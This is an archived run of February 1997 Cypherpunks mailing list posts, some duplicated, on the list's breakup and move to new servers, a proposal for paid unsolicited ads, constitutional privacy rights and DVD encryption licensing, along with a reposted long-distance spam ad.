is equally clear that while AP is "on-topic," nevertheless it is quite distinctly distasteful to a few people around here who seem to believe that the _political_ and _technical" implications of good encryption can be kept safely separated. It is obvious that you are one of those people. It is equally obvious that you are not honest enough to admit that. So rather than say merely "I don't like it" you try to embellish your claims with "oh so clearly way off-topic." Jim Bell jimbell at pacifier.com From PIONEER146 at aol.com Tue Feb 18 20:26:34 1997 From: PIONEER146 at aol.com (PIONEER146 at aol.com) Date: Tue, 18 Feb 1997 20:26:34 -0800 (PST) Subject: Removal from newsgroup listing Message-ID: <199702190426.UAA17302@toad.com> Please remove from the mailing list, please. Thank you. Pioneer146 at aol.com From jwn2 at qualcomm.com Tue Feb 18 20:35:39 1997 From: jwn2 at qualcomm.com (John W. Noerenberg) Date: Tue, 18 Feb 1997 20:35:39 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702142343.PAA17502@toad.com> Message-ID: At 3:07 PM -0500 2/14/97, Vin McLellan wrote: > > So now we ourselves burn the village in order to save it. > > > > How American! > Vin, your words are poignant and heartfelt. To be honest, I share your feelings (but I can't help but be amused that having recently decided to resubscribe after a lengthy absence, I returned just in time to wallow into a sea of discontent -- sorta like walking out the door of the cabin and all the snow on the roof falling on your head -- you're cold, you're wet, and you feel pretty damn stupid to boot). However, the denizens of this place are a resourceful lot. If alt.cypherpunks doesn't work out, if the distributed mailing lists don't work, we'll try something else. I don't think anyone is ready to give up, yet. best, john noerenberg jwn2 at qualcomm.com -------------------------------------------------------------------- Ishmael gave himself to the writing of it, and as he did so he understood this, too: that accident ruled every corner of the universe except the chambers of the human heart. -- David Guterson, Snow Falling on Cedars, 1995 -------------------------------------------------------------------- From mehling at ibm.net Tue Feb 18 20:39:19 1997 From: mehling at ibm.net (Michael Ehling) Date: Tue, 18 Feb 1997 20:39:19 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141459.GAA07338@toad.com> Message-ID: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net> At 10:31 AM 2/14/97 -0800, you wrote: > >Having been "on" the net for over 15 years -- and with experience >in both ends of the censorship/moderation problem (I'm probably >the only Cypherpunks member to have had a book "banned in Boston"), >I'm sorry that a handful of sociopaths managed to destroy this >experiment in anarchy, but I suspect that this was inevitable. > >Martin Minow >minow at apple.com > For the FWIW dept: ---------------------------------------------------------------------------- ---------- Hmm...yes I agree. Handful of sociopaths. Inevitable? Perhaps. On one hand anarchy, on the other control. Free-wheeling vs. stifling. Complete free speech vs. censorship. Oh, sure. You can always say that one is more "right" than the other. But I believe everyone sees the validity of both sides...whether you agree with them is another thing. So, we seem stuck between the two. And yet, they say there is always a third option. We just need some time to pull away and see it. This "experiment in anarchy" may be coming to an end. But I like your choice of words: "experiment." We've learned a great deal through this one. Perhaps next time we'll structure things differently. Who knows? Long after the last packet leaves cyhperpunks at toad.com, the spirit, the ideas and ideals will remain. Take good care, Michael Ehling mehling at ibm.net From ichudov at algebra.com Tue Feb 18 21:07:03 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 18 Feb 1997 21:07:03 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from In-Reply-To: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net> Message-ID: <199702190502.XAA26565@manifold.algebra.com> Michael Ehling wrote: > > At 10:31 AM 2/14/97 -0800, you wrote: > > > > >Having been "on" the net for over 15 years -- and with experience > >in both ends of the censorship/moderation problem (I'm probably > >the only Cypherpunks member to have had a book "banned in Boston"), > >I'm sorry that a handful of sociopaths managed to destroy this > >experiment in anarchy, but I suspect that this was inevitable. The experiment in anarchy continues full speed. Cypherpunks is not dead, although it will take the newly created online communities to pick up steam. Cypherpunks mailing list simply expanded and took another form. Again, thanks to John Gilmore for running this list for years. His job required a lot of dedication and effort and I am thankful to him for what he did for it. cypherpunks at toad.com enhanced my understanding of reality immensely. - Igor. From remove at structuremg.com Tue Feb 18 21:25:49 1997 From: remove at structuremg.com (remove at structuremg.com) Date: Tue, 18 Feb 1997 21:25:49 -0800 (PST) Subject: 7.9 cpm long-distance Message-ID: Starway Telecommunications Inc. Announces . . . 7.9 cpm flat rate long-distance period. Anywhere in the US to anywhere in the US for 7.9 cpm, including your own state! Calls to Canada at 9.9! Canada to Canada at 7.9 too! Calling cards - 9.9 cpm! It's unbelievable! Don't worry about switching carriers, you don't need to. Still waiting for the mystical "BLACKBOX" technology? We've got the low rates secure NOW without the box and we will be the first ones with the boxes when they are released! Other companies promise it - we've GOT it NOW!! Contracts have been signed between a major health related network marketing firm called Neways, with 750,000 distributors and grossing $100 million in 1996, and each of the top three long distance carriers, to create Starway Telecommunications Inc. Low international rates will be released later this week! Cellular long-distance rumored to be at 7.9 as well. And cellular service will be available in another month. Pagers and many other services will be available soon! For more information check out my webpage - http://www.structuremg.com/program/starways.htm Sounds like an incredible company, doesn't it? They are! Want to learn how you can profit from this amazing opportunity? Check out the website. We are now accepting applications for distributors. Don't pass up this timelyopportunity. Save money on your long-distance and make some money! Bryant Salus Structure Marketing Group ************************************************************** If you wish to be removed from our future mailings simply reply with "REMOVE" in the subject and place your email address in the body. You must do this correctly to be removed. ************************************************************** From jimbell at pacifier.com Tue Feb 18 21:38:09 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 18 Feb 1997 21:38:09 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702190537.VAA29617@mail.pacifier.com> At 11:06 AM 2/15/97 -0800, Timothy C. May wrote: >At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote: > >>I much prefer the plan where a potential mail correspondant includes an >>e-cash dollar directly cashable by me. If I like the mail (and the >>sender), I throw the dollar away and the sender goes on the approved >>list. If not, I keep the dollar, and the sender goes on the twit list. >>Paper junk mail costs an advertiser more than $1 per piece, so they'd >>still be getting a bargain. And potentially, some receivers may throw >>away the dollar and welcome the spam. > >The basic flaw in all of these schemes is that they are "top-down" >solutions, imposed on the market for invented reasons. There we must disagree. Not that "top-down" imposed solutions won't generally work, I agree with that. Rather, I suggest that there are valid and logical market-driven reasons that people, both buyers and sellers, would want to adopt the system I've proposed. The benefits for the recipient of the payment-containing spam/advertising are obvious. He gets money. Admittedly it is less obvious why a seller would want to pay for what he seemed to previously got for free, but that's more-or-less the case. More in a moment. [snip] >However, just "making up" a fee--as Roy does here, and as Jim Bell and >others have done before--is not a solution either. Nor does it stand any >chance of being "enforced" (for a large number of reasons I won't get into >here). >--Tim May Yes, the charge will be "enforced"...by the market! Here's how. "Spam" in other media is termed "advertising" or "junk mail." And advertisers pay good money for it, precisely because that it will drum up enough business to not only pay for the ad rates, but also make some profit as well. They're apparently correct, because those companies stay in business for years or decades. Now, you'd probably imagine that businessmen would like to see the cost of their advertising drop. Superficially, you'd be right, but in reality if the cost of advertising on TV or radio or newspapers is an essential element of the system. To understand why, imagine that the price of such advertising dropped by a factor of 100. Suddenly, anybody doing ads could do ten times as many, for a tenth the total cost, or any such similar ratio. Or thousands of companies whose products didn't previously profit enough for such ads would now be able to do them, as well. The airwaves would be flooded. There wouldn't be enough time for entertainment, or news, or much of anything other than ads. Worse, since total advertising revenue would probably be down by at least a factor of 25, even assuming "only" a 4x increase in ad volume, there would be far less money available for producing good shows. With fewer, worse shows, and many more ads, the average viewers would stay away in droves. Pretty soon, the VALUE of that advertising to the advertiser would drop...to 1/100 of what it was before. The newspapers would, likewise, be flooded with ads. Even local newspapers would look like the Sunday New York Times. And the current newspaper reader might as well stay away, because it would be a rare page that actually contained an article, and was not filled with ads. Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) dropped by a factor of 100, our mailboxes would be filled with paper three times a day, maybe more often. Well, actually this is not true. There are other effects which would limit this progression. For example, as ad space went up, people would watch/read less, so advertisers won't be motived to place ads even if they are free. If junk mail was free, nobody would have the time to read most of it, and it would go into the trash even faster than it does today. In effect, if nothing else limited this advertising, our patience (or lack of it) would do so. The _value_ of that advertising would drop to zero, along with its cost. The end result, I argue, would be occasional low-value, sporadic advertising that "nobody" reads and everybody hates. Sound familiar? On the Internet, it's called, "spam." Classic Internet-type spam is, essentially, a "zero-cost" ad. Not _exactly_ zero cost, but pretty close, at least in terms of bare cash outlay. What limits Internet-spam is that if it's overdone (or, some would argue, done at all!) an advertiser ends up pissing off the reader, making him even less likely to purchase the goods or services the spammer/advertiser was offering. At that point, in effect the cost of that advertising is "infinite," because the outlay of zero money caused a _reduction_ in sales. An advertiser can't force a customer to buy, and he knows it. But what he wants is the customer's time and attention, even if there's no guarantee of a sale. Really, what he wants is to buy the attention of a potential customer, maybe only few a few seconds or a minute or so. That's what advertising does. But like an ad in a newspaper or a commercial on TV (which the target customer can ignore, mute, or walk away from) there is no guarantee of contact. So how, you'll ask, can the "free money with spam" deal be "enforced"? Well, it can't, if your definition of "enforced" includes merely the idea of some higher legal authority like a government or a trade organization or something. But if you include the idea of the participants in the market, themselves, "enforcing" such a payment, it can. Let's suppose, for simplicity's sake, that we are considering two types of advertisers. One has a product that few people want. Not NONE, just few. It's either poor quality, or too expensive (compared to its perceived value), or just not particularly interesting to the majority of the public. The other has a product that far more people want. It's good, or is seen to be inexpensive, or is interesting. Now, the former advertiser must put out far more ads to make a given buck than the latter. The latter advertiser wants and needs the attention of any given potential customer more than the former, because the latter is far more likely to satisfy the customer's curiosity and desires and be able to do business with him. In short, the purveyor of products that more people want (products which are more likely to interest the average potential advertisement reader...) can AFFORD to pay a larger amount of money to a given ad-recipient than can the other advertiser, the seller of junk. Logic suggests that in the competition for "share of mind," the good-product seller would choose to give a larger amount of money to any given ad-recipient, in order to attract his attention and distinguish him from the other guy, if nothing else. After all, that's the one thing HE CAN DO that the other guy, statistically, cannot. He can say, in effect, "My ad is more important and intersting to look at, and I can prove it by paying you more!" He is also saying that he values you, as a customer, more than the guy who can only pay less. Moreover, if I were a potential ad-reader, faced with the prospect of reading "N" ads where "N" is a larger number than I really want to see, presumably I would like to be able to pre-separate the ads into two groups, the ones I'm more likely to want to read and the other pile. Even if I were to totally ignore the fact that I'm more enriched by ads which contain a larger payment (for example if that payment were to go (hypothetically) to a charity of my choice) I should STILL recognize that it is more likely that an interesting, useful ad would be able to afford a larger payment to potential recipients. Therefore, logic suggests that absent any other guide, I should spend my limited time reading preferentially reading the ads where the advertiser was willing (and able) to make a larger payment. Were a mail-reader program equipped with the ability to collect such payments and change the ranking of ads, it seems logical to believe that one of the most frequently-chosen options would be one which presented the highest-paying ads FIRST, then the others in decending order of value. There are multiple levels of self-interest at work here, reinforcing themselves. First, in the short term, advertisers who pay more make you, the customer, richer. But more importantly, if the customer preferentially reads high-payment ads, over the medium-term the advertisers will tend to get the idea and will raise their payments to whatever they feel they must to get your attention. Further, in the long term giving more business to advertisers who pay customers more will tend to strengthen those advertisers, leading to their dominance in the industry. In short, like Darwin's natural-selection concept, the idea of including payments with unsolicited ads will simply take over. In fact, at some point the concept of sending unsolicited product or service advertising (at least on the Internet) WITHOUT including a gratuity will become as gauche as exiting a restaurant without leaving a tip. At that point, the behavior of millions of potential customers will, in effort, ENFORCE the practice, because the vast majority of the public will simply ignore advertising by rude, un-generous people. Jim Bell jimbell at pacifier.com From toto at sk.sympatico.ca Tue Feb 18 21:49:08 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 18 Feb 1997 21:49:08 -0800 (PST) Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from In-Reply-To: <199702190502.XAA26565@manifold.algebra.com> Message-ID: <330AB037.472A@sk.sympatico.ca> Igor Chudov @ home wrote: > Again, thanks to John Gilmore for running this list for years. His > job required a lot of dedication and effort and I am thankful to him > for what he did for it. cypherpunks at toad.com enhanced my understanding > of reality immensely. I certainly hope that the lack of posts expressing gratitude to John Gilmore for his maintenance of the CypherPunks list on toad.com for all these years is merely because those who have benefitted from his efforts are expressing their thanks via private email to him. Certainly, as Igor has indicated, he did not just sit on his butt playing with Little Peter while 'the machine' ran itself and provided the CypherPunks with a home for both rational discourse and mad ramblings. There are quite a few people, ranging from long-term members to passers-by who have had their horizons broadened by the list, and I would hope that they are appreciative of the fact that the mechanics of bits and bytes underlying the distribution of our grand soliloquys came at the expense of a considerable portion of his own time and energy. I know that I am. Toto From ichudov at algebra.com Tue Feb 18 21:56:05 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 18 Feb 1997 21:56:05 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Message-ID: <199702190556.VAA18665@toad.com> Michael Ehling wrote: > > At 10:31 AM 2/14/97 -0800, you wrote: > > > > >Having been "on" the net for over 15 years -- and with experience > >in both ends of the censorship/moderation problem (I'm probably > >the only Cypherpunks member to have had a book "banned in Boston"), > >I'm sorry that a handful of sociopaths managed to destroy this > >experiment in anarchy, but I suspect that this was inevitable. The experiment in anarchy continues full speed. Cypherpunks is not dead, although it will take the newly created online communities to pick up steam. Cypherpunks mailing list simply expanded and took another form. Again, thanks to John Gilmore for running this list for years. His job required a lot of dedication and effort and I am thankful to him for what he did for it. cypherpunks at toad.com enhanced my understanding of reality immensely. - Igor. From mehling at ibm.net Tue Feb 18 21:56:18 1997 From: mehling at ibm.net (Michael Ehling) Date: Tue, 18 Feb 1997 21:56:18 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702190556.VAA18680@toad.com> At 10:31 AM 2/14/97 -0800, you wrote: > >Having been "on" the net for over 15 years -- and with experience >in both ends of the censorship/moderation problem (I'm probably >the only Cypherpunks member to have had a book "banned in Boston"), >I'm sorry that a handful of sociopaths managed to destroy this >experiment in anarchy, but I suspect that this was inevitable. > >Martin Minow >minow at apple.com > For the FWIW dept: ---------------------------------------------------------------------------- ---------- Hmm...yes I agree. Handful of sociopaths. Inevitable? Perhaps. On one hand anarchy, on the other control. Free-wheeling vs. stifling. Complete free speech vs. censorship. Oh, sure. You can always say that one is more "right" than the other. But I believe everyone sees the validity of both sides...whether you agree with them is another thing. So, we seem stuck between the two. And yet, they say there is always a third option. We just need some time to pull away and see it. This "experiment in anarchy" may be coming to an end. But I like your choice of words: "experiment." We've learned a great deal through this one. Perhaps next time we'll structure things differently. Who knows? Long after the last packet leaves cyhperpunks at toad.com, the spirit, the ideas and ideals will remain. Take good care, Michael Ehling mehling at ibm.net From jwn2 at qualcomm.com Tue Feb 18 21:56:26 1997 From: jwn2 at qualcomm.com (John W. Noerenberg) Date: Tue, 18 Feb 1997 21:56:26 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702190556.VAA18693@toad.com> At 3:07 PM -0500 2/14/97, Vin McLellan wrote: > > So now we ourselves burn the village in order to save it. > > > > How American! > Vin, your words are poignant and heartfelt. To be honest, I share your feelings (but I can't help but be amused that having recently decided to resubscribe after a lengthy absence, I returned just in time to wallow into a sea of discontent -- sorta like walking out the door of the cabin and all the snow on the roof falling on your head -- you're cold, you're wet, and you feel pretty damn stupid to boot). However, the denizens of this place are a resourceful lot. If alt.cypherpunks doesn't work out, if the distributed mailing lists don't work, we'll try something else. I don't think anyone is ready to give up, yet. best, john noerenberg jwn2 at qualcomm.com -------------------------------------------------------------------- Ishmael gave himself to the writing of it, and as he did so he understood this, too: that accident ruled every corner of the universe except the chambers of the human heart. -- David Guterson, Snow Falling on Cedars, 1995 -------------------------------------------------------------------- From jimbell at pacifier.com Tue Feb 18 21:57:13 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 18 Feb 1997 21:57:13 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702190557.VAA18700@toad.com> At 11:06 AM 2/15/97 -0800, Timothy C. May wrote: >At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote: > >>I much prefer the plan where a potential mail correspondant includes an >>e-cash dollar directly cashable by me. If I like the mail (and the >>sender), I throw the dollar away and the sender goes on the approved >>list. If not, I keep the dollar, and the sender goes on the twit list. >>Paper junk mail costs an advertiser more than $1 per piece, so they'd >>still be getting a bargain. And potentially, some receivers may throw >>away the dollar and welcome the spam. > >The basic flaw in all of these schemes is that they are "top-down" >solutions, imposed on the market for invented reasons. There we must disagree. Not that "top-down" imposed solutions won't generally work, I agree with that. Rather, I suggest that there are valid and logical market-driven reasons that people, both buyers and sellers, would want to adopt the system I've proposed. The benefits for the recipient of the payment-containing spam/advertising are obvious. He gets money. Admittedly it is less obvious why a seller would want to pay for what he seemed to previously got for free, but that's more-or-less the case. More in a moment. [snip] >However, just "making up" a fee--as Roy does here, and as Jim Bell and >others have done before--is not a solution either. Nor does it stand any >chance of being "enforced" (for a large number of reasons I won't get into >here). >--Tim May Yes, the charge will be "enforced"...by the market! Here's how. "Spam" in other media is termed "advertising" or "junk mail." And advertisers pay good money for it, precisely because that it will drum up enough business to not only pay for the ad rates, but also make some profit as well. They're apparently correct, because those companies stay in business for years or decades. Now, you'd probably imagine that businessmen would like to see the cost of their advertising drop. Superficially, you'd be right, but in reality if the cost of advertising on TV or radio or newspapers is an essential element of the system. To understand why, imagine that the price of such advertising dropped by a factor of 100. Suddenly, anybody doing ads could do ten times as many, for a tenth the total cost, or any such similar ratio. Or thousands of companies whose products didn't previously profit enough for such ads would now be able to do them, as well. The airwaves would be flooded. There wouldn't be enough time for entertainment, or news, or much of anything other than ads. Worse, since total advertising revenue would probably be down by at least a factor of 25, even assuming "only" a 4x increase in ad volume, there would be far less money available for producing good shows. With fewer, worse shows, and many more ads, the average viewers would stay away in droves. Pretty soon, the VALUE of that advertising to the advertiser would drop...to 1/100 of what it was before. The newspapers would, likewise, be flooded with ads. Even local newspapers would look like the Sunday New York Times. And the current newspaper reader might as well stay away, because it would be a rare page that actually contained an article, and was not filled with ads. Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) dropped by a factor of 100, our mailboxes would be filled with paper three times a day, maybe more often. Well, actually this is not true. There are other effects which would limit this progression. For example, as ad space went up, people would watch/read less, so advertisers won't be motived to place ads even if they are free. If junk mail was free, nobody would have the time to read most of it, and it would go into the trash even faster than it does today. In effect, if nothing else limited this advertising, our patience (or lack of it) would do so. The _value_ of that advertising would drop to zero, along with its cost. The end result, I argue, would be occasional low-value, sporadic advertising that "nobody" reads and everybody hates. Sound familiar? On the Internet, it's called, "spam." Classic Internet-type spam is, essentially, a "zero-cost" ad. Not _exactly_ zero cost, but pretty close, at least in terms of bare cash outlay. What limits Internet-spam is that if it's overdone (or, some would argue, done at all!) an advertiser ends up pissing off the reader, making him even less likely to purchase the goods or services the spammer/advertiser was offering. At that point, in effect the cost of that advertising is "infinite," because the outlay of zero money caused a _reduction_ in sales. An advertiser can't force a customer to buy, and he knows it. But what he wants is the customer's time and attention, even if there's no guarantee of a sale. Really, what he wants is to buy the attention of a potential customer, maybe only few a few seconds or a minute or so. That's what advertising does. But like an ad in a newspaper or a commercial on TV (which the target customer can ignore, mute, or walk away from) there is no guarantee of contact. So how, you'll ask, can the "free money with spam" deal be "enforced"? Well, it can't, if your definition of "enforced" includes merely the idea of some higher legal authority like a government or a trade organization or something. But if you include the idea of the participants in the market, themselves, "enforcing" such a payment, it can. Let's suppose, for simplicity's sake, that we are considering two types of advertisers. One has a product that few people want. Not NONE, just few. It's either poor quality, or too expensive (compared to its perceived value), or just not particularly interesting to the majority of the public. The other has a product that far more people want. It's good, or is seen to be inexpensive, or is interesting. Now, the former advertiser must put out far more ads to make a given buck than the latter. The latter advertiser wants and needs the attention of any given potential customer more than the former, because the latter is far more likely to satisfy the customer's curiosity and desires and be able to do business with him. In short, the purveyor of products that more people want (products which are more likely to interest the average potential advertisement reader...) can AFFORD to pay a larger amount of money to a given ad-recipient than can the other advertiser, the seller of junk. Logic suggests that in the competition for "share of mind," the good-product seller would choose to give a larger amount of money to any given ad-recipient, in order to attract his attention and distinguish him from the other guy, if nothing else. After all, that's the one thing HE CAN DO that the other guy, statistically, cannot. He can say, in effect, "My ad is more important and intersting to look at, and I can prove it by paying you more!" He is also saying that he values you, as a customer, more than the guy who can only pay less. Moreover, if I were a potential ad-reader, faced with the prospect of reading "N" ads where "N" is a larger number than I really want to see, presumably I would like to be able to pre-separate the ads into two groups, the ones I'm more likely to want to read and the other pile. Even if I were to totally ignore the fact that I'm more enriched by ads which contain a larger payment (for example if that payment were to go (hypothetically) to a charity of my choice) I should STILL recognize that it is more likely that an interesting, useful ad would be able to afford a larger payment to potential recipients. Therefore, logic suggests that absent any other guide, I should spend my limited time reading preferentially reading the ads where the advertiser was willing (and able) to make a larger payment. Were a mail-reader program equipped with the ability to collect such payments and change the ranking of ads, it seems logical to believe that one of the most frequently-chosen options would be one which presented the highest-paying ads FIRST, then the others in decending order of value. There are multiple levels of self-interest at work here, reinforcing themselves. First, in the short term, advertisers who pay more make you, the customer, richer. But more importantly, if the customer preferentially reads high-payment ads, over the medium-term the advertisers will tend to get the idea and will raise their payments to whatever they feel they must to get your attention. Further, in the long term giving more business to advertisers who pay customers more will tend to strengthen those advertisers, leading to their dominance in the industry. In short, like Darwin's natural-selection concept, the idea of including payments with unsolicited ads will simply take over. In fact, at some point the concept of sending unsolicited product or service advertising (at least on the Internet) WITHOUT including a gratuity will become as gauche as exiting a restaurant without leaving a tip. At that point, the behavior of millions of potential customers will, in effort, ENFORCE the practice, because the vast majority of the public will simply ignore advertising by rude, un-generous people. Jim Bell jimbell at pacifier.com From remove at structuremg.com Tue Feb 18 21:57:59 1997 From: remove at structuremg.com (remove at structuremg.com) Date: Tue, 18 Feb 1997 21:57:59 -0800 (PST) Subject: 7.9 cpm long-distance Message-ID: <199702190557.VAA18720@toad.com> Starway Telecommunications Inc. Announces . . . 7.9 cpm flat rate long-distance period. Anywhere in the US to anywhere in the US for 7.9 cpm, including your own state! Calls to Canada at 9.9! Canada to Canada at 7.9 too! Calling cards - 9.9 cpm! It's unbelievable! Don't worry about switching carriers, you don't need to. Still waiting for the mystical "BLACKBOX" technology? We've got the low rates secure NOW without the box and we will be the first ones with the boxes when they are released! Other companies promise it - we've GOT it NOW!! Contracts have been signed between a major health related network marketing firm called Neways, with 750,000 distributors and grossing $100 million in 1996, and each of the top three long distance carriers, to create Starway Telecommunications Inc. Low international rates will be released later this week! Cellular long-distance rumored to be at 7.9 as well. And cellular service will be available in another month. Pagers and many other services will be available soon! For more information check out my webpage - http://www.structuremg.com/program/starways.htm Sounds like an incredible company, doesn't it? They are! Want to learn how you can profit from this amazing opportunity? Check out the website. We are now accepting applications for distributors. Don't pass up this timelyopportunity. Save money on your long-distance and make some money! Bryant Salus Structure Marketing Group ************************************************************** If you wish to be removed from our future mailings simply reply with "REMOVE" in the subject and place your email address in the body. You must do this correctly to be removed. ************************************************************** From toto at sk.sympatico.ca Tue Feb 18 22:41:08 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 18 Feb 1997 22:41:08 -0800 (PST) Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from Message-ID: <199702190641.WAA19338@toad.com> Igor Chudov @ home wrote: > Again, thanks to John Gilmore for running this list for years. His > job required a lot of dedication and effort and I am thankful to him > for what he did for it. cypherpunks at toad.com enhanced my understanding > of reality immensely. I certainly hope that the lack of posts expressing gratitude to John Gilmore for his maintenance of the CypherPunks list on toad.com for all these years is merely because those who have benefitted from his efforts are expressing their thanks via private email to him. Certainly, as Igor has indicated, he did not just sit on his butt playing with Little Peter while 'the machine' ran itself and provided the CypherPunks with a home for both rational discourse and mad ramblings. There are quite a few people, ranging from long-term members to passers-by who have had their horizons broadened by the list, and I would hope that they are appreciative of the fact that the mechanics of bits and bytes underlying the distribution of our grand soliloquys came at the expense of a considerable portion of his own time and energy. I know that I am. Toto From snow at smoke.suba.com Tue Feb 18 23:22:12 1997 From: snow at smoke.suba.com (snow) Date: Tue, 18 Feb 1997 23:22:12 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: Message-ID: <199702190741.BAA03633@smoke.suba.com> Mr. may wrote: > At 1:22 PM -0600 2/17/97, snow wrote: > > My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government > >can only, ONLY do what the constitution says it can. > But why do you not object that the "right to free speech," "the right to > keep and bear arms," and so on, are specifically enumeratedin the Bill of > Rights? The privacy issue is that there is no such enumeration of a right > to privacy in the Bill of Rights, though many think it to be implicit in > some of the other enumerated rights, e.g,, the Fourth, and even in the > First. Amendment X- (1791) The powers not delegated to the United States by the Constitution, nor prohibited by it to the states, are reserved to the states respectively, or to the people. As far as my reading goes, the Constitution (of which the BoR is a portion, IIR my "civics" (more like uncivics) classes properly) doesn't give the Feds the right to invade my privacy, and although not _explicit_, Also: Amendment IX -(1791) The enumeration in the Constitution, of certain rights, shall not be construed to deny or disparage others retained by the people. Seems to indicate that even if it isn't listed, we should still have it. Then: Amendment IV- (1791) The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. Seems (to me, and IANAL) indicate that there is (at least in the minds of the writers) a distinction between _public_ information which is fair game, and public information, which is only fair game if there is enough public information to justify crossing that line. > Constitutional issues are not easily discussed in short messages like this. > Suffice it to say the issue of whether a "right to privacy" exists has been > long discussed, most recently by Bork, Posner, and others (I skimmed the > latest Posner book a while back, and liked his style). There is a big question in my mind whether things are so complicated that we need lawyers, or they are so complicated because we have lawyers. It seems to me that the constitution is written rather simply, at least prior to the 14th amendment. Congress Shall Make No Law... where is the confusion? It is the fact that some people "know best" what is good for others, and wish to enforce this "knowlege" upon the rest of us. God save me from your over zelous followers. > > The issue hit when abortion advocates argued that a "woman's right to > privacy" allowed abortions. However, none of the enumerated rights made > this obvious. Bork has opined that no right to privacy can be inferred from > the Constitution. > > (And I always thought the "woman's right to privacy" argument for abortion > was flaky. Accepting such an argument, wouldn't infanticide be equally > protected by a woman's right to privacy?) Or a man's. From stewarts at ix.netcom.com Tue Feb 18 23:27:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 18 Feb 1997 23:27:08 -0800 (PST) Subject: Raph In-Reply-To: <199702181541.HAA06032@toad.com> Message-ID: <3.0.1.32.19970218230632.005c42c0@popd.ix.netcom.com> At 10:22 AM 2/18/97 -0500, Alec wrote: >I have found it convenient to retrieve Raph's list off c'punks, as opposed to >fingering. I do hope this service to the community will continue on one forum >or another. You can of course also get it from the web page listed in the listing... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Tue Feb 18 23:27:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 18 Feb 1997 23:27:09 -0800 (PST) Subject: Cypherpunks Mailing List (Was: Re: When and where?) In-Reply-To: <199702170211.SAA12998@toad.com> Message-ID: <3.0.1.32.19970218232401.04735f88@popd.ix.netcom.com> >Please post the date when this list will shift to Usenet if that is indeed to >happen. I have not been able to sort out the facts (?) from the speculation, >argument, and gas. There are a variety of approaches being pursued in parallel. You can subscribe to cypherpunks at Cyberpass.net by sending mail to majordomo at Cyberpass.net with the usual syntax (send it a message body of "help" if you want details.) It should gateway to the other mail servers as they develop. It's currently getting everything from cypherpunks at toad.com, which I've no unsubscribed to to avoid getting duplicate copies of everything. If you're one of those people getting one or more copies of the cypherpunks mailing list and you don't want to, find out where your mail is coming from and send mail to majordomo there.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From snow at smoke.suba.com Tue Feb 18 23:38:38 1997 From: snow at smoke.suba.com (snow) Date: Tue, 18 Feb 1997 23:38:38 -0800 (PST) Subject: alt.cypherpunks.ebonics In-Reply-To: <199702190426.UAA17296@toad.com> Message-ID: <199702190757.BAA03739@smoke.suba.com> Mr. Bell wrote: > At 11:16 AM 2/18/97 -0500, Alec wrote: > >With the exceptions of AP (oh so clearly way off-topic), > Quite to the contrary, AP is NOT "oh so clearly way off-topic." First AP, > as I've sketched it uses many of the > encryption/digital-signature/verification techniques which are often > discussed here and are essentially universally agreed as being on-topic. Uhhh.... Jim? I think that Alec and friend were tweaking Igor. Think Sarcasm. Then again I could be wrong. I was once. From azur at netcom.com Wed Feb 19 00:06:13 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 19 Feb 1997 00:06:13 -0800 (PST) Subject: Still no sign of alt.cypherpunks heirarchy at Netcom Message-ID: I'm tapping my toes, druming my fingers and waiting... --Steve From azur at netcom.com Wed Feb 19 00:09:28 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 19 Feb 1997 00:09:28 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: Has anyone seen discussions on how these protection mechanisms can be circumvented? >http://techweb.cmp.com/eet/news/97/942news/encryp.html > >To summarize, the Digital Video Disk standard contains an encryption >standard for copyright and anti-piracy protection. however, "some U.S. >PC and silicon vendors have just about abandoned hope of keeping to >their revised launch schedules for DVD-enabled systems." [snip] >A solution may be in the offing within days. Some sources said late last >week that Matsushita [who owns license rights] and key U.S. computer >companies may resolve the software-licensing issues by the end of this >week. The PC industry seeks amendments to the licensing-agreement language >that would result in equivalent treatment of software- and hardware-based >CSS decryption. > >... there apparently has been some speculation among the U.S. PC community >that Matsushita may be stonewalling on the software-licensing issue so that >it can establish its hardware-based decryption solution in the marketplace. > --Steve From stewarts at ix.netcom.com Wed Feb 19 00:42:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 19 Feb 1997 00:42:06 -0800 (PST) Subject: PGP key compromise with multiple independent encryptions of same message? 